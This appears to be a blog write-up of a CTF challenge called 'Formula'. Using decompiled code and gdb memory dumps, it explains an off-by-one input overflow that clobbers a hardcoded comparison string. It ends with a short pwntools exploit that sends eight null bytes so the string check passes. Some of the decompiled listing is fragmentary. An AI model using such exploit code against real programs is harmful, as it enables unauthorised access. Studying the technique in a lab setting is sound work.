A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[CTF] Formula (ELF 64-bit Buffer overflow + Logical bug)


Marty, I found a letter from someone in my pocket that says Time Travel is possible and provides the ingredients and a secret formula. The note is not 100% readable due to the time and I cannot fully understand the handwritting either. Please help me read the note and let's get to work creating this thing!

Understanding the challenge

The challenge presents a randomly-coloured flask with a story, and asks for the missing ingredient: Menu

Behind the scenes, we can understand more about the code from Ghidra’s decompiled version:

undefined8 main(void)

  int iVar1;
  long in_FS_OFFSET;
  char local_20 [7];
  undefined8 local_19;
  undefined local_11;
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_19 = 0x75696e6f74756c50;
  local_11 = 0x6d;
  iVar1 = strcmp(local_20,(char *)&local_19);
  if (iVar1 == 0) {
  else {
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
  return 0;

In terms of security protections against exploitation, the binary has most of the checkboxes ticked: Checksec

The challenge reads the ingredient from user input into the variable local_20 (8 bytes), and compares it with the hardcoded ingredient Plutonium (9 bytes) - 0x75696e6f74756c50 and 0x6d.

Vulnerability identification

To locate the vulnerability, we need to examine the stack before the comparison which leads to success() is being made:

=> 0x555555400efd <main+92>:    call   0x555555400a00 <strcmp@plt>
   0x555555400f02 <main+97>:    test   eax,eax
   0x555555400f04 <main+99>:    jne    0x555555400f0d <main+108>
   0x555555400f06 <main+101>:   call   0x555555400b9a <success>
   0x555555400f0b <main+106>:   jmp    0x555555400f12 <main+113>
   0x555555400f0d <main+108>:   call   0x555555400c40 <fail>
   0x555555400f12 <main+113>:   mov    eax,0x0
   0x555555400f17 <main+118>:   mov    rcx,QWORD PTR [rbp-0x8]

According to the Linux x64 calling convention, the first two function parameters are accessed via the RDI and RSI registers:

// Plutonium (hardcoded)
gdb$ x/16b $rsi
0x7fffffffde0f: 0x50    0x6c    0x75    0x74    0x6f    0x6e    0x69    0x75
0x7fffffffde17: 0x6d    0x00    0x1b    0x6d    0x5b    0xc6    0x4c    0xe2

// Ingredient (user input - ABCD)
gdb$ x/16b $rdi
0x7fffffffde08: 0x41    0x42    0x43    0x44    0x0a    0x00    0x00    0x50
0x7fffffffde10: 0x6c    0x75    0x74    0x6f    0x6e    0x69    0x75    0x6d
0x7fffffffde18: 0x00

gdb$ x/s $rsi
0x7fffffffde0f: "Plutonium"

gdb$ x/s $rdi
0x7fffffffde08: "ABCD\n"

So we can read 8 bytes, and the 8th one will overwrite the first letter of the first letter of the hardcoded ingredient, 0x50 (P).


Even if not obvious straight away, the exploitation is actually quite easy. The only option to make the two strings equal is to make them both NULL, by sending 8 zeros as the secret ingredient.

from pwn import *

conn = remote('<IP>', '<PORT>')

# Receive formula

conn.send('\x00' * 8)